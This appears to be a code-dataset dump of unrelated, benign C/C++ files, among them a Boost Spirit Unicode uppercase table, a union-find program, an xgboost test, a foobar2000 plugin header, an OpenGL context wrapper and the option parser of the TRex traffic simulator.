0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 8498, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8544, 8545, 8546, 8547, 8548, 8549,
8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 0, 0, 0, 0,
8579, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 11
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 9398, 9399, 9400, 9401, 9402, 9403, 9404, 9405,
9406, 9407, 9408, 9409, 9410, 9411, 9412, 9413, 9414, 9415, 9416, 9417,
9418, 9419, 9420, 9421, 9422, 9423, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 12
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11264,
11265, 11266, 11267, 11268, 11269, 11270, 11271, 11272, 11273, 11274, 11275,
11276, 11277, 11278, 11279, 11280, 11281, 11282, 11283, 11284, 11285, 11286,
11287, 11288, 11289, 11290, 11291, 11292, 11293, 11294, 11295, 11296, 11297,
11298, 11299, 11300, 11301, 11302, 11303, 11304, 11305, 11306, 11307, 11308,
11309, 11310, 0, 0, 11360, 0, 0, 0, 570, 574, 0, 11367, 0, 11369, 0, 11371,
0, 0, 0, 0, 0, 0, 11378, 0, 0, 11381, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11392,
0, 11394, 0, 11396, 0, 11398, 0, 11400, 0, 11402, 0, 11404, 0, 11406, 0,
11408, 0, 11410, 0, 11412, 0, 11414, 0, 11416, 0, 11418, 0, 11420, 0, 11422,
0, 11424, 0, 11426, 0, 11428, 0, 11430, 0, 11432, 0, 11434, 0, 11436, 0,
11438, 0, 11440, 0, 11442, 0, 11444, 0, 11446, 0, 11448, 0, 11450, 0, 11452,
0, 11454, 0, 11456, 0, 11458, 0, 11460, 0, 11462, 0, 11464, 0, 11466, 0,
11468, 0, 11470, 0, 11472, 0, 11474, 0, 11476, 0, 11478, 0, 11480, 0, 11482,
0, 11484, 0, 11486, 0, 11488, 0, 11490, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 13
4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267,
4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279,
4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291,
4292, 4293, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 14
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42560, 0, 42562, 0, 42564, 0,
42566, 0, 42568, 0, 42570, 0, 42572, 0, 42574, 0, 42576, 0, 42578, 0, 42580,
0, 42582, 0, 42584, 0, 42586, 0, 42588, 0, 42590, 0, 0, 0, 42594, 0, 42596,
0, 42598, 0, 42600, 0, 42602, 0, 42604, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 42624, 0, 42626, 0, 42628, 0, 42630, 0, 42632, 0,
42634, 0, 42636, 0, 42638, 0, 42640, 0, 42642, 0, 42644, 0, 42646, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0,
// block 15
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42786, 0, 42788, 0, 42790, 0, 42792, 0, 42794,
0, 42796, 0, 42798, 0, 0, 0, 42802, 0, 42804, 0, 42806, 0, 42808, 0, 42810,
0, 42812, 0, 42814, 0, 42816, 0, 42818, 0, 42820, 0, 42822, 0, 42824, 0,
42826, 0, 42828, 0, 42830, 0, 42832, 0, 42834, 0, 42836, 0, 42838, 0, 42840,
0, 42842, 0, 42844, 0, 42846, 0, 42848, 0, 42850, 0, 42852, 0, 42854, 0,
42856, 0, 42858, 0, 42860, 0, 42862, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42873, 0,
42875, 0, 0, 42878, 0, 42880, 0, 42882, 0, 42884, 0, 42886, 0, 0, 0, 0,
42891, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 16
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 65313, 65314, 65315, 65316,
65317, 65318, 65319, 65320, 65321, 65322, 65323, 65324, 65325, 65326, 65327,
65328, 65329, 65330, 65331, 65332, 65333, 65334, 65335, 65336, 65337, 65338,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 17
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 66560, 66561, 66562, 66563,
66564, 66565, 66566, 66567, 66568, 66569, 66570, 66571, 66572, 66573, 66574,
66575, 66576, 66577, 66578, 66579, 66580, 66581, 66582, 66583, 66584, 66585,
66586, 66587, 66588, 66589, 66590, 66591, 66592, 66593, 66594, 66595, 66596,
66597, 66598, 66599, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0};
inline ::boost::uint32_t uppercase_lookup(::boost::uint32_t ch) {
::boost::uint32_t block_offset = uppercase_stage1[ch / 256] * 256;
return uppercase_stage2[block_offset + ch % 256];
}
} // namespace detail
} // namespace ucd
} // namespace spirit
} // namespace boost
| 34,122 | 30,771 |
#include <iostream>
#include <map>
using namespace std;
map<string, string> s;
string represent(string n1)
{
if (s[n1].empty() || s[n1] == n1) {
s[n1] = n1;
} else {
s[n1] = represent(s[n1]);
}
return s[n1];
}
void merge(string n1, string n2)
{
s[represent(n1)] = represent(n2);
}
string find(string n1, string n2)
{
return represent(n1) == represent(n2) ? "yes" : "no";
}
int main(void)
{
int n;
cin >> n;
int op;
string n1, n2;
for (int i = 0; i < n; ++i) {
cin >> op >> n1 >> n2;
if (op)
cout << find(n1, n2) << endl;
else
merge(n1, n2);
}
return 0;
}
| 677 | 287 |
// Copyright by Contributors
#include <xgboost/metric.h>
#include "../helpers.h"
TEST(Metric, UnknownMetric) {
EXPECT_ANY_THROW(xgboost::Metric::Create("unknown_name"));
EXPECT_NO_THROW(xgboost::Metric::Create("rmse"));
EXPECT_ANY_THROW(xgboost::Metric::Create("unknown_name@1"));
EXPECT_NO_THROW(xgboost::Metric::Create("error@0.5"));
}
| 348 | 148 |
/**
* @file Scalar.hpp
*
* Defines conversion of matrix to scalar.
*
* @author James Goppert <james.goppert@gmail.com>
*/
#pragma once
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include "math.hpp"
namespace matrix
{
template<typename Type>
class Scalar
{
public:
virtual ~Scalar() {};
Scalar() : _value()
{
}
Scalar(const Matrix<Type, 1, 1> & other)
{
_value = other(0,0);
}
Scalar(float other)
{
_value = other;
}
operator Type()
{
return _value;
}
private:
Type _value;
};
typedef Scalar<float> Scalarf;
} // namespace matrix
/* vim: set et fenc=utf-8 ff=unix sts=0 sw=4 ts=4 : */
| 737 | 294 |
#include "../SDK/foobar2000.h"
#include "SoundTouch/SoundTouch.h"
#include "dsp_guids.h"
#define MYVERSION "0.42"
static pfc::string_formatter g_get_component_about()
{
pfc::string_formatter about;
about << "A special effect DSP for foobar2000.\n";
about << "Written by mudlord (mudlord@protonmail.com).\n";
about << "Portions by Jon Watte, Jezar Wakefield, Chris Snowhill.\n";
about << "Using SoundTouch library version " << SOUNDTOUCH_VERSION << "\n";
about << "SoundTouch (c) Olli Parviainen\n";
about << "\n";
about << "License: https://github.com/mudlord/foobar2000-plugins/blob/master/LICENSE.md";
return about;
}
DECLARE_COMPONENT_VERSION_COPY(
"Effect DSP",
MYVERSION,
g_get_component_about()
);
VALIDATE_COMPONENT_FILENAME("foo_dsp_effect.dll");
| 767 | 303 |
#include "Context.h"
#include "OpenGLContext/opengl_ContextImpl.h"
using namespace graphics;
Context gfxContext;
bool Context::Multisampling = false;
bool Context::BlitFramebuffer = false;
bool Context::WeakBlitFramebuffer = false;
bool Context::DepthFramebufferTextures = false;
bool Context::ShaderProgramBinary = false;
bool Context::ImageTextures = false;
bool Context::IntegerTextures = false;
bool Context::ClipControl = false;
bool Context::FramebufferFetch = false;
bool Context::TextureBarrier = false;
bool Context::EglImage = false;
bool Context::EglImageFramebuffer = false;
Context::Context() {}
Context::~Context() {
m_impl.reset();
}
void Context::init()
{
m_impl.reset(new opengl::ContextImpl);
m_impl->init();
m_fbTexFormats.reset(m_impl->getFramebufferTextureFormats());
Multisampling = m_impl->isSupported(SpecialFeatures::Multisampling);
BlitFramebuffer = m_impl->isSupported(SpecialFeatures::BlitFramebuffer);
WeakBlitFramebuffer = m_impl->isSupported(SpecialFeatures::WeakBlitFramebuffer);
DepthFramebufferTextures = m_impl->isSupported(SpecialFeatures::DepthFramebufferTextures);
ShaderProgramBinary = m_impl->isSupported(SpecialFeatures::ShaderProgramBinary);
ImageTextures = m_impl->isSupported(SpecialFeatures::ImageTextures);
IntegerTextures = m_impl->isSupported(SpecialFeatures::IntegerTextures);
ClipControl = m_impl->isSupported(SpecialFeatures::ClipControl);
FramebufferFetch = m_impl->isSupported(SpecialFeatures::FramebufferFetch);
TextureBarrier = m_impl->isSupported(SpecialFeatures::TextureBarrier);
EglImage = m_impl->isSupported(SpecialFeatures::EglImage);
EglImageFramebuffer = m_impl->isSupported(SpecialFeatures::EglImageFramebuffer);
}
void Context::destroy()
{
m_impl->destroy();
m_impl.reset();
}
void Context::setClampMode(ClampMode _mode)
{
m_impl->setClampMode(_mode);
}
ClampMode Context::getClampMode()
{
return m_impl->getClampMode();
}
void Context::enable(EnableParam _parameter, bool _enable)
{
m_impl->enable(_parameter, _enable);
}
u32 Context::isEnabled(EnableParam _parameter)
{
return m_impl->isEnabled(_parameter);
}
void Context::cullFace(CullModeParam _parameter)
{
m_impl->cullFace(_parameter);
}
void Context::enableDepthWrite(bool _enable)
{
m_impl->enableDepthWrite(_enable);
}
void Context::setDepthCompare(CompareParam _mode)
{
m_impl->setDepthCompare(_mode);
}
void Context::setViewport(s32 _x, s32 _y, s32 _width, s32 _height)
{
m_impl->setViewport(_x, _y, _width, _height);
}
void Context::setScissor(s32 _x, s32 _y, s32 _width, s32 _height)
{
m_impl->setScissor(_x, _y, _width, _height);
}
void Context::setBlending(BlendParam _sfactor, BlendParam _dfactor)
{
m_impl->setBlending(_sfactor, _dfactor);
}
void Context::setBlendColor(f32 _red, f32 _green, f32 _blue, f32 _alpha)
{
m_impl->setBlendColor(_red, _green, _blue, _alpha);
}
void Context::clearColorBuffer(f32 _red, f32 _green, f32 _blue, f32 _alpha)
{
m_impl->clearColorBuffer(_red, _green, _blue, _alpha);
}
void Context::clearDepthBuffer()
{
m_impl->clearDepthBuffer();
}
void Context::setPolygonOffset(f32 _factor, f32 _units)
{
m_impl->setPolygonOffset(_factor, _units);
}
ObjectHandle Context::createTexture(Parameter _target)
{
return m_impl->createTexture(_target);
}
void Context::deleteTexture(ObjectHandle _name)
{
m_impl->deleteTexture(_name);
}
void Context::init2DTexture(const InitTextureParams & _params)
{
m_impl->init2DTexture(_params);
}
void Context::update2DTexture(const UpdateTextureDataParams & _params)
{
m_impl->update2DTexture(_params);
}
void Context::setTextureParameters(const TexParameters & _parameters)
{
m_impl->setTextureParameters(_parameters);
}
void Context::bindTexture(const BindTextureParameters & _params)
{
m_impl->bindTexture(_params);
}
void Context::setTextureUnpackAlignment(s32 _param)
{
m_impl->setTextureUnpackAlignment(_param);
}
s32 Context::getTextureUnpackAlignment() const
{
return m_impl->getTextureUnpackAlignment();
}
s32 Context::getMaxTextureSize() const
{
return m_impl->getMaxTextureSize();
}
void Context::bindImageTexture(const BindImageTextureParameters & _params)
{
m_impl->bindImageTexture(_params);
}
u32 Context::convertInternalTextureFormat(u32 _format) const
{
return m_impl->convertInternalTextureFormat(_format);
}
void Context::textureBarrier()
{
m_impl->textureBarrier();
}
/*---------------Framebuffer-------------*/
const FramebufferTextureFormats & Context::getFramebufferTextureFormats()
{
return *m_fbTexFormats.get();
}
ObjectHandle Context::createFramebuffer()
{
return m_impl->createFramebuffer();
}
void Context::deleteFramebuffer(ObjectHandle _name)
{
m_impl->deleteFramebuffer(_name);
}
void Context::bindFramebuffer(BufferTargetParam _target, ObjectHandle _name)
{
m_impl->bindFramebuffer(_target, _name);
}
ObjectHandle Context::createRenderbuffer()
{
return m_impl->createRenderbuffer();
}
void Context::initRenderbuffer(const InitRenderbufferParams & _params)
{
m_impl->initRenderbuffer(_params);
}
void Context::addFrameBufferRenderTarget(const FrameBufferRenderTarget & _params)
{
m_impl->addFrameBufferRenderTarget(_params);
}
bool Context::blitFramebuffers(const BlitFramebuffersParams & _params)
{
return m_impl->blitFramebuffers(_params);
}
void Context::setDrawBuffers(u32 _num)
{
m_impl->setDrawBuffers(_num);
}
PixelReadBuffer * Context::createPixelReadBuffer(size_t _sizeInBytes)
{
return m_impl->createPixelReadBuffer(_sizeInBytes);
}
ColorBufferReader * Context::createColorBufferReader(CachedTexture * _pTexture)
{
return m_impl->createColorBufferReader(_pTexture);
}
/*---------------Shaders-------------*/
bool Context::isCombinerProgramBuilderObsolete()
{
return m_impl->isCombinerProgramBuilderObsolete();
}
void Context::resetCombinerProgramBuilder()
{
m_impl->resetCombinerProgramBuilder();
}
CombinerProgram * Context::createCombinerProgram(Combiner & _color, Combiner & _alpha, const CombinerKey & _key)
{
return m_impl->createCombinerProgram(_color, _alpha, _key);
}
bool Context::saveShadersStorage(const Combiners & _combiners)
{
return m_impl->saveShadersStorage(_combiners);
}
bool Context::loadShadersStorage(Combiners & _combiners)
{
return m_impl->loadShadersStorage(_combiners);
}
ShaderProgram * Context::createDepthFogShader()
{
return m_impl->createDepthFogShader();
}
TexrectDrawerShaderProgram * Context::createTexrectDrawerDrawShader()
{
return m_impl->createTexrectDrawerDrawShader();
}
ShaderProgram * Context::createTexrectDrawerClearShader()
{
return m_impl->createTexrectDrawerClearShader();
}
ShaderProgram * Context::createTexrectCopyShader()
{
return m_impl->createTexrectCopyShader();
}
ShaderProgram * Context::createTexrectColorAndDepthCopyShader()
{
return m_impl->createTexrectColorAndDepthCopyShader();
}
ShaderProgram * Context::createGammaCorrectionShader()
{
return m_impl->createGammaCorrectionShader();
}
ShaderProgram * Context::createOrientationCorrectionShader()
{
return m_impl->createOrientationCorrectionShader();
}
ShaderProgram * Context::createFXAAShader()
{
return m_impl->createFXAAShader();
}
TextDrawerShaderProgram * Context::createTextDrawerShader()
{
return m_impl->createTextDrawerShader();
}
void Context::resetShaderProgram()
{
m_impl->resetShaderProgram();
}
void Context::drawTriangles(const DrawTriangleParameters & _params)
{
m_impl->drawTriangles(_params);
}
void Context::drawRects(const DrawRectParameters & _params)
{
m_impl->drawRects(_params);
}
void Context::drawLine(f32 _width, SPVertex * _vertices)
{
m_impl->drawLine(_width, _vertices);
}
f32 Context::getMaxLineWidth()
{
return m_impl->getMaxLineWidth();
}
bool Context::isError() const
{
return m_impl->isError();
}
bool Context::isFramebufferError() const
{
return m_impl->isFramebufferError();
}
| 7,804 | 2,657 |
#include <bits/stdc++.h>
#define each(i, c) for (auto& i : c)
#define unless(cond) if (!(cond))
using namespace std;
typedef long long int lli;
typedef unsigned long long ull;
typedef complex<double> point;
template<typename P, typename Q>
ostream& operator << (ostream& os, pair<P, Q> p)
{
os << "(" << p.first << "," << p.second << ")";
return os;
}
const int N = 1000 + 10;
int dp[N][N];
int main(int argc, char *argv[])
{
int n, k;
while (scanf("%d%d", &n, &k) == 2) {
int a[n];
for (int i = 0; i < n; ++i) {
scanf("%d", a + i);
}
int b[n];
for (int i = 0; i < n; ++i) {
scanf("%d", b + i);
}
int c = 0;
while (true) {
for (int i = 0; i < n; ++i) {
if (a[i] > b[i]) {
k -= abs(b[i] - a[i]);
b[i] = a[i];
}
}
if (k < 0) break;
++c;
for (int i = 0; i < n; ++i) {
b[i] -= a[i];
}
}
printf("%d\n", c);
}
return 0;
}
| 975 | 441 |
/*
Hanoh Haim
Cisco Systems, Inc.
*/
/*
Copyright (c) 2015-2015 Cisco Systems, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "bp_sim.h"
#include "os_time.h"
#include "trex_client_config.h"
#include <unordered_map>
#include <string>
#include "common/arg/SimpleGlob.h"
#include "common/arg/SimpleOpt.h"
#include "stl/trex_stl.h"
#include "sim/trex_sim.h"
#include "trex_build_info.h"
using namespace std;
// An enum for all the option types
enum { OPT_HELP, OPT_CFG, OPT_NODE_DUMP, OP_STATS,
OPT_FILE_OUT, OPT_UT, OPT_PCAP, OPT_IPV6, OPT_CLIENT_CFG_FILE,
OPT_SL, OPT_ASF, OPT_DP_CORE_COUNT, OPT_DP_CORE_INDEX, OPT_LIMIT,
OPT_ASTF_SIM_MODE,OPT_ASTF_FULL,
OPT_ASTF_SIM_ARG,
OPT_ASTF_EMUL_DEBUG,
OPT_NO_CLEAN_FLOW_CLOSE,
/* simulator ASTF */
OPT_ASTF_SHAPER_RATE,
OPT_ASTF_SHAPER_SIZE,
OPT_ASTF_RTT,
OPT_ASTF_DROP_PROB,
OPT_DRY_RUN, OPT_DURATION,
OPT_DUMP_JSON};
/**
* type of run
* GTEST
* Stateful
* Stateless
*/
typedef enum {
OPT_TYPE_GTEST = 7,
OPT_TYPE_SF,
OPT_TYPE_ASF,
OPT_TYPE_SL
} opt_type_e;
/* these are the argument types:
SO_NONE -- no argument needed
SO_REQ_SEP -- single required argument
SO_MULTI -- multiple arguments needed
*/
static CSimpleOpt::SOption parser_options[] =
{
{ OPT_HELP, "-?", SO_NONE },
{ OPT_HELP, "-h", SO_NONE },
{ OPT_HELP, "--help", SO_NONE },
{ OPT_UT, "--ut", SO_NONE },
{ OP_STATS, "-s", SO_NONE },
{ OPT_CFG, "-f", SO_REQ_SEP },
{ OPT_CLIENT_CFG_FILE, "--client_cfg", SO_REQ_SEP },
{ OPT_CLIENT_CFG_FILE, "--client-cfg", SO_REQ_SEP },
{ OPT_FILE_OUT , "-o", SO_REQ_SEP },
{ OPT_NODE_DUMP , "-v", SO_REQ_SEP },
{ OPT_DURATION, "-d", SO_REQ_SEP },
{ OPT_PCAP, "--pcap", SO_NONE },
{ OPT_IPV6, "--ipv6", SO_NONE },
{ OPT_SL, "--sl", SO_NONE },
{ OPT_NO_CLEAN_FLOW_CLOSE, "--nc", SO_NONE },
{ OPT_ASF, "--tcp_cfg", SO_REQ_SEP },
{ OPT_ASTF_FULL, "--full", SO_NONE },
{ OPT_DP_CORE_COUNT, "--cores", SO_REQ_SEP },
{ OPT_DP_CORE_INDEX, "--core_index", SO_REQ_SEP },
{ OPT_ASTF_EMUL_DEBUG, "--astf-emul-debug", SO_NONE},
{ OPT_LIMIT, "--limit", SO_REQ_SEP },
{ OPT_DUMP_JSON, "--sim-json", SO_NONE },
{ OPT_ASTF_SIM_MODE, "--sim-mode", SO_REQ_SEP },
{ OPT_ASTF_SIM_ARG, "--sim-arg", SO_REQ_SEP },
{ OPT_ASTF_SHAPER_RATE, "--shaper-rate", SO_REQ_SEP },
{ OPT_ASTF_SHAPER_SIZE, "--shaper-size", SO_REQ_SEP },
{ OPT_ASTF_RTT, "--rtt", SO_REQ_SEP},
{ OPT_ASTF_DROP_PROB, "--drop", SO_REQ_SEP },
{ OPT_DRY_RUN, "--dry", SO_NONE },
SO_END_OF_OPTIONS
};
static TrexSTX *m_sim_stx;
static char *g_exe_name;
static asrtf_args_t asrtf_args;
const char *get_exe_name() {
return g_exe_name;
}
static void set_sw_mode(){
get_mode()->choose_mode(tdCAP_ONE_QUE);
get_mode()->force_software_mode(true);
}
static int usage(){
printf(" Usage: bp_sim [OPTION] -f cfg.yaml -o outfile.erf \n");
printf(" \n");
printf(" \n");
printf(" options:\n");
printf(" -d [s] duration time of simulated traffic in seconds\n");
printf(" -v [1-3] verbose mode \n");
printf(" 1 show only stats \n");
printf(" 2 run preview do not write to file \n");
printf(" 3 run preview write stats file \n");
printf(" Note in case of verbose mode you don't need to add the output file \n");
printf(" \n");
printf(" Warning : This program can generate huge-files (TB ) watch out! try this only on local drive \n");
printf(" \n");
printf(" --pcap export the file in pcap mode \n");
printf(" Examples: ");
printf(" 1) preview show csv stats \n");
printf(" #>bp_sim -f cfg.yaml -v 1 \n");
printf(" \n ");
printf(" 2) more detail preview preview show csv stats \n");
printf(" #>bp_sim -f cfg.yaml -v 2 \n");
printf(" \n ");
printf(" 3) more detail preview plus stats \n");
printf(" #>bp_sim -f cfg.yaml -v 3 \n");
printf(" \n ");
printf(" 4) do the job ! \n");
printf(" #>bp_sim -f cfg.yaml -o outfile.erf \n");
printf("\n");
printf("\n");
printf(" ASTF modes :\n");
printf(" \n");
printf(" \n");
printf(" csSIM_RST_SYN 0x17 23 \n");
printf(" csSIM_RST_SYN1 0x18 24 \n");
printf(" csSIM_WRONG_PORT 0x19 25 \n");
printf(" csSIM_RST_MIDDLE 0x1a 26 \n");
printf(" csSIM_RST_MIDDLE2 0x1b 27 \n");
printf(" csSIM_DROP, 0x1c 28 \n");
printf(" csSIM_REORDER, 0x1d 29 \n");
printf(" csSIM_REORDER_DROP 0x1e 30 \n");
printf(" \n");
printf(" ASTF simulator :\n");
printf(" --shaper-rate : shaper rate in kbps \n");
printf(" --shaper-size : shaper size in bytes \n");
printf(" --rtt : rtt in usec \n");
printf(" --drop : drop precents \n");
printf(" Copyright (C) 2015 by hhaim Cisco-System for IL dev-test \n");
printf(" version : 1.0 beta \n");
TrexBuildInfo::show();
return (0);
}
static int parse_options(int argc,
char *argv[],
CParserOption* po,
std::unordered_map<std::string, int> ¶ms) {
if (TrexBuildInfo::is_sanitized()) {
printf("\n*******************************************************\n");
printf("\n***** Sanitized binary - Expect lower performance *****\n\n");
